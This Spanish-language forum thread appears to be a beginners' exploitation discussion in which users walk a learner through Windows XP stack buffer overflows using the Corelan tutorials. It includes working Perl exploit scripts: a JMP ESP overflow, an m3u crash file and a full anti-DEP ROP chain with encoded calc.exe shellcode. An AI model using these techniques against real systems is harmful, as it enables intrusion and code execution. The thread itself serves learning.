Error en Buffer Overflow

[.:UND3R:.]

Con este debería funcionar:
http://www.mediafire.com/download/rcf20dct9pntl3l/vuln1.exe

Como te comenté usa Dev-C++ ya que visual studio por defecto introduce muchos mecanismos de protección los cuales para comenzar no te los recomiendo, solo estás probando la idea verdad?

además agregar que eso de pasar los argumentos a través de OllyDbg no funcionará muy bien ya que acuérdate que al momento de introducir la shellcode o payload esta tendrá caracteres no imprimibles por lo cual quizás no reciba los argumentos que tu pensabas, te dejo mi código en Perl que genera el crash:

Código (perl) [Seleccionar] Expandir

# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language         = Spanish
# Author           = UND3R

my $file = "vuln1";
my $junk = "\x41" x 76;
my $eip = pack('V',0x7c951eed); # ntdll.dll | JMP ESP
my $nop = "\x90" x 20;
my $payload =
"\x43" x 50;

my $exploit = $junk . $eip . $nop . $payload;

print "Enviando argumentos a " . $file . " ...\n";
system($file, $exploit);
if ( $? == -1 ) {
  print "Error en el comando: $!\n";
}else {
  print "Argumento enviado correctamente.\n";
}

Es la idea ya que el payload simplemente contiene letras C aquí debería ir la shellcode, de todas maneras se limita mucho el tamaño cuidado que si el tamaño es muy gran se cierra y no puedes explotar el fallo.

Saludos

[Lodos76]

Buenas .:UND3R:.

Entonces no entiendo por qué Rojodos aconsejó que compiláramos con MVC++ 2005 si no se podía explotar de forma sencilla...

¿Podrías decirme qué "métodos" están protegiendo al programa, por favor? Según habíais dicho, sobreescribía el SEH :/

¿Entonces sugieres que siga todos los tutoriales de Corelan compilando con gcc (Dev-C++ usa gcc)? Aunque gcc tiene sus propias DLL para funciones como strcpy, y no llama a las de Windows, aunque eso da igual...



Dudas referentes al exploit:
Se sustrae a ESP 64 bytes
se pushea el ret address porque hemos llamado a strcpy
; push ebp ; Esto no interviene
; mov ebp,esp ; Esto no interviene
Se van metiendo en la pila las 76 As. Si lo compilo con MCV++ se meten hacia abajo, ¿no? Me refiero a que con gcc deberían meterse hacia arriba hasta un punto en que arriba se sustituye el ret address por lo que pongamos nosotros (que será un jmp esp)
Ahora metemos 20 NOPs en la pila...
Y finalmente metemos 50 bytes de shellcode

Pero si "metemos", y no "pusheamos" los datos, por qué ESP apuntará a nuestra shellcode?  Porque se terminará alguna parte o algo, pero no termino de verlo.

Gracias de antemano .

[.:UND3R:.]

Tienes muchas pero muchas creo que para que puedas solventarlas todas es mejor que leas los tutoriales de corelan, me imagino que sabes que están en español, si no es así:
http://ricardonarvaja.info/WEB/buscador.php
busca por corelan

creeme que en este tutorial te explica todo y el por qué que es lo más importante ya que sin ese por qué no podrás aplicar lo aprendido en otras aplicaciones.

En cuanto a EIP es sobre escrito debido a que nosotros estamos pulverizando el marco de pila, ya que acuérdate que cuando se realiza una CALL, El primer valor de la pila apunta al retorno de esta, lo cual después de que la call hace sus operaciones recupera tal valor para retornar:
push ebp
mov ebp,esp
...
..
...
leave (mov esp,ebp / pop ebp)
retn x (limpieza de la pila)

La idea es que en el punto de retornar como escribimos más allá del marco de pila controlaremos el flujo del programa, en si todo el detalle te lo dará el tutorial, el de Rojodos es un buen tutorial una buena idea pero no puedes compararlo a algo que tiene imágenes y son 12 tutoriales dando unas 400 páginas diría promedio, saludos y buena aventura.

[Lodos76]

Está bien, voy a compilar con gcc, probar a seguir el tutorial de Corelan sobre BoF y hacer el exploit y comento.

PD.: Aunque he compilado con gcc, he ejecutado el exploit de Rojodos y no ha funcionado.

[soez]

Vaya parece que son 80 Aes para pisar el return en vez de 76 sorry, pon 80 y otra cosa que ha surgido en la lista crackslatinos y que puede ser esto. La cookie del stack. Pon un bp en IsDebuggerPresent y comenta si para ahi y después termina el programa, ok? Comenta después.

Dudas referentes al exploit:
Se sustrae a ESP 64 bytes
se pushea el ret address porque hemos llamado a strcpy
; push ebp ; Esto no interviene
; mov ebp,esp ; Esto no interviene
Se van metiendo en la pila las 76 As. Si lo compilo con MCV++ se meten hacia abajo, ¿no?

Si, se meten hacia abajo en el espacio que se reservó para el buffer.

Me refiero a que con gcc deberían meterse hacia arriba hasta un punto en que arriba se sustituye el ret address por lo que pongamos nosotros (que será un jmp esp)

No, no se pushean, se sobreescribe en el buffer.

Pero si "metemos", y no "pusheamos" los datos, por qué ESP apuntará a nuestra shellcode?  Porque se terminará alguna parte o algo, pero no termino de verlo.

La instrucción leave es la que se encarga de dejar todo "como estaba" y desapila el marco quedando ya solo el ret que ahí tendrás un return que apunta un jmp esp en la dll y ésta hará saltar a la shellcode. No sé si se entiende si eso vuelve a preguntar.

[Lodos76]

Buenas noches.

Acabo de terminar el tutorial (tardé porque estuve haciendo unas herramientas en Python), y tengo dos pequeeeeeeeeñas dudas:

PDF 1 de Corelan
1. ¿Por qué si MyVar necesita 128 bytes, Dev-C++ reserva 98? (sub esp,98) [Página 14]
2. En teoría, si ejecuto el exploit, éste se mete en la pila hacia abajo, pero en la imagen tengo que se mete hacia arriba de la pila (los 41 deberían estar donde están los 43 y viceversa):


Además, si strcpy termina en '\0', entonces 26074 As / 4 Bytes = 6518.5, y debería dar 6518.75, así está claro que el último byte es el carácter nulo, pero ese 0.25 que nos falta lo ocupa una 'A'

¿Qué ocurre?

exploit.pl

Código (perl) [Seleccionar] Expandir

my $file= "crash.m3u";
my $junk= "A" x 26074;
my $eip= "BBBB";
my $espdata = "C" x 1000;

open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "Archivo m3u creado exitosamente\n";

[.:UND3R:.]

Si mal no me equivoco el compilador realiza un proceso llamado re-alineamiento, en donde se alinean los bytes en 4, no recuerdo muy bien pero en palabras simples el número de A para generar el desbordamiento no será uno más que el el tamaño del buffer establecido en el código de fuente.

No creo que hayas terminado el tutorial de corelan son 400 páginas, imposible, quizás el nº 1 pero todas las demás no, recuerda que lo que viene es de mucha utilidad, ya que te dejaré con intriga, pero te comento que ese exploit servirá puntualmente para XP, debes aprender sobre las protecciones y seguir adelante, saludos.

Aquí hice uno anti-dep aun así funciona en un sistema específico ya que utiliza direcciones de módulos del sistema, y aun así es complejo, es para el mismo programa que pusiste, saludos:

Código (perl) [Seleccionar] Expandir

# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language         = Spanish
# Author           = UND3R

my $file = "exploit.m3u";
my $junk = "\x41" x 26061;
my $align = "\x41" x 4;
my $eip = pack('V',0x7729f0a5); # urlmon.dll | RETN
my $rop1 = pack('V',0x58c3f678); # COMCTL32.dll | MOV ESI,ESP / RETN
my $rop2 = pack('V',0x77c0db6b); # msvcrt.dll | MOV EAX,ESI / RETN
my $rop3 = pack('V',0x77c21e53); # msvcrt.dll | ADD ESP,0x1C / RETN
# VirtualProtect(
my $VirtualProtect = pack('V',0x7c801ad0);
my $vaPayload = "AAAA";
my $arg1 = "BBBB";
my $arg2 = "CCCC";
my $arg3 = "DDDD";
my $arg4 = pack('V',0x10035010); # MSRMfilter03.dll
# );
my $rop4 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
my $rop5 = pack('V',0x7Cbaa4cb); # SHELL32.dll | MOV EAX,ECX / RETN
my $rop6 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
my $rop7 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
my $rop8 = pack('V',0x58c38371); # COMCTL32.dll | XCHG EAX,ESI / RETN
my $rop9 = pack('V',0x77bef2c1); # msvcrt.dll | ADD EAX,0x08 / RETN
my $rop10 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop11 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop12 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop13 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop14 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop15 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop16 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop17 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
my $rop18 = pack('V',0x3bfffbdc); # 3BFFFBDC
my $rop19 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
my $rop20 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
my $rop21 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
my $rop22 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop23 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop24 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop25 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop26 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
my $rop27 = pack('V',0x3bfffb54); # 3BFFFB54
my $rop28 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
my $rop29 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
my $rop30 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
my $rop31 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop32 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop33 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop34 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop35 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
my $rop36 = pack('V',0x73d95858); # MFC42.DLL | PUSH EAX / POP ESP / POP EDI / POP ESI / RETN

my $ROPgadgets = $align . $rop1 . $rop2 . $rop3 . $VirtualProtect . $vaPayload . $arg1 . $arg2 .$arg3 . $arg4 . $align . $rop4 . $rop5 . $rop6 . $rop7 . $rop8 . $rop9 . $rop10 . $rop11 . $rop12 . $rop13 . $rop14 . $rop15 . $rop16 . $rop17 . $rop18 . $rop19 . $rop20 . $rop21 . $rop22 . $rop23 . $rop24 . $rop25 . $rop26 . $rop27 . $rop28 . $rop29 . $rop30 . $rop31 . $rop32 . $rop33 . $rop34 . $rop35 . $rop36;

my $nop = "\x90" x 40;
my $payload =
# msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_upper -t perl
"\x89\xe0\xda\xc4\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x4d\x59\x43\x30\x43\x30\x35\x50\x53\x50\x4c\x49\x5a" .
"\x45\x30\x31\x38\x52\x45\x34\x4c\x4b\x51\x42\x50\x30\x4c" .
"\x4b\x56\x32\x34\x4c\x4c\x4b\x56\x32\x54\x54\x4c\x4b\x33" .
"\x42\x31\x38\x44\x4f\x4e\x57\x31\x5a\x36\x46\x36\x51\x4b" .
"\x4f\x56\x51\x4f\x30\x4e\x4c\x57\x4c\x53\x51\x43\x4c\x43" .
"\x32\x36\x4c\x57\x50\x49\x51\x48\x4f\x44\x4d\x53\x31\x4f" .
"\x37\x5a\x42\x4a\x50\x51\x42\x56\x37\x4c\x4b\x46\x32\x44" .
"\x50\x4c\x4b\x47\x32\x37\x4c\x55\x51\x38\x50\x4c\x4b\x51" .
"\x50\x54\x38\x4d\x55\x4f\x30\x53\x44\x50\x4a\x53\x31\x58" .
"\x50\x56\x30\x4c\x4b\x50\x48\x35\x48\x4c\x4b\x36\x38\x37" .
"\x50\x35\x51\x59\x43\x4d\x33\x37\x4c\x57\x39\x4c\x4b\x36" .
"\x54\x4c\x4b\x33\x31\x38\x56\x36\x51\x4b\x4f\x46\x51\x49" .
"\x50\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x53\x31\x48\x47\x56" .
"\x58\x4b\x50\x33\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x57" .
"\x4b\x33\x4d\x36\x44\x33\x45\x4d\x32\x30\x58\x4c\x4b\x36" .
"\x38\x57\x54\x53\x31\x4e\x33\x53\x56\x4c\x4b\x54\x4c\x30" .
"\x4b\x4c\x4b\x50\x58\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54" .
"\x44\x4c\x4b\x55\x51\x58\x50\x4d\x59\x50\x44\x47\x54\x47" .
"\x54\x51\x4b\x51\x4b\x45\x31\x51\x49\x30\x5a\x36\x31\x4b" .
"\x4f\x4b\x50\x50\x58\x31\x4f\x51\x4a\x4c\x4b\x42\x32\x4a" .
"\x4b\x4d\x56\x51\x4d\x33\x5a\x35\x51\x4c\x4d\x4c\x45\x4f" .
"\x49\x53\x30\x55\x50\x35\x50\x56\x30\x43\x58\x36\x51\x4c" .
"\x4b\x52\x4f\x4b\x37\x4b\x4f\x39\x45\x4f\x4b\x5a\x50\x48" .
"\x35\x59\x32\x46\x36\x52\x48\x49\x36\x5a\x35\x4f\x4d\x4d" .
"\x4d\x4b\x4f\x58\x55\x57\x4c\x34\x46\x53\x4c\x55\x5a\x4d" .
"\x50\x4b\x4b\x4d\x30\x33\x45\x34\x45\x4f\x4b\x37\x37\x34" .
"\x53\x54\x32\x42\x4f\x52\x4a\x43\x30\x46\x33\x4b\x4f\x38" .
"\x55\x45\x33\x43\x51\x52\x4c\x42\x43\x56\x4e\x52\x45\x42" .
"\x58\x52\x45\x55\x50\x41\x41";

my $exploit = $junk . $eip . $ROPgadgets . $nop . $payload;

open($file, ">$file");
print $file $exploit;
close($file);

print "Archivo " . $file . " creado correctamente.";

[Lodos76]

Sí, terminé el PDF nº1 y tengo esas dudas. No quiero arrastrar mi conocimiento básico erróneo a los otros PDFs.  Realmente entiendo todo lo demás, y los NOPs creo que son para limpiar datos que podrían estar en la pila aún, pero aún así, eso lo veré en los próximos PDFs.

Sé que se alinean datos de 32 bits en la pila (de 4 en 4), sé ensamblador.

Pero eso de introducir 1 byte más que el buffer no me suena (el buffer incluye el '\0').

Pues eso, agradecería que alguien me contestase a lo que pregunté.

Gracias de antemano.

[soez]

1. ¿Por qué si MyVar necesita 128 bytes, Dev-C++ reserva 98? (sub esp,98) [Página 14]

128 bytes en decimal, 98 en hexadecimal = 152 bytes

2. En teoría, si ejecuto el exploit, éste se mete en la pila hacia abajo, pero en la imagen tengo que se mete hacia arriba de la pila (los 41 deberían estar donde están los 43 y viceversa):

Es posible que se haya usado la variable de las Aes anteriormente y por eso lo tengas así. No se meten hacia arriba.

Además, si strcpy termina en '\0', entonces 26074 As / 4 Bytes = 6518.5, y debería dar 6518.75, así está claro que el último byte es el carácter nulo, pero ese 0.25 que nos falta lo ocupa una 'A'

¿Qué ocurre?

¿Podrías enseñar esa zona de la pila?

PD. No vas a terminar el otro?

[Lodos76]

Era hexa, qué fail  .

Acabo de terminar el paper de Rojodos, y me sale todo bien, pero el offset de jmp esp en kernel32.dll cambia nada más ejecuto algo, y así es imposible ejecutar system(), porque cuando ejecuto el exploit cambia el offset (en msvcrt.dll no tengo ningún jmp, y antes de suspender el portátil tenía calls, y ahora tengo push esp ret, eso es posible, ¿no? xD).

Otra cosa, en el paper de Rojodos, cuando introduzco AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU => EIP=TTTT, ESP=dirección que contiene UUUU, pero ESP != UUUU
En cambio, con el código de Rojodos a EBP sí puedo ponerle que apunte a 414141 por ejemplo.
Pero ESP no apunta (sólo contiene) y si uso JMP ESP, salta a la shellcode. Me ha parecido extraño. ¿Y eso?

Por cierto, se dice que no hay que sustituir el EIP por una dirección de memoria, ya que cambia muy a menudo la pila.
Vale, eso lo entendería, pero si los Arguments que pongo antes del EIP son carácteres y siempre van a ser los que ponga en la pila... ¿por qué la dirección que ponga como EIP, que al fin y al cabo introduzco 4 bytes igualmente, cambia a la que yo puse?

Lo de la imagen que me dijiste es esto, aunque si se habrá usado la variable de As anteriormente... aún así, no entiendo qué hace el 0x00 ahí.



Me da la sensación que según qué compilador, qué protección de software, la ruta que habrá usado un servidor, cambia el exploit, y aunque esté claro el PoC, ejecutar un exploit y que funcione en un sistema remoto puede no funcionar aunque sepas mucho...

Yo creo que estas serán la últimas dudas del tema, ya que "ya sé" (sé muy poco aún) hacer exploits.

Y qué decir... ¡Muchísimas gracias! Voy a seguir investigando en estos temas que son muy interesantes .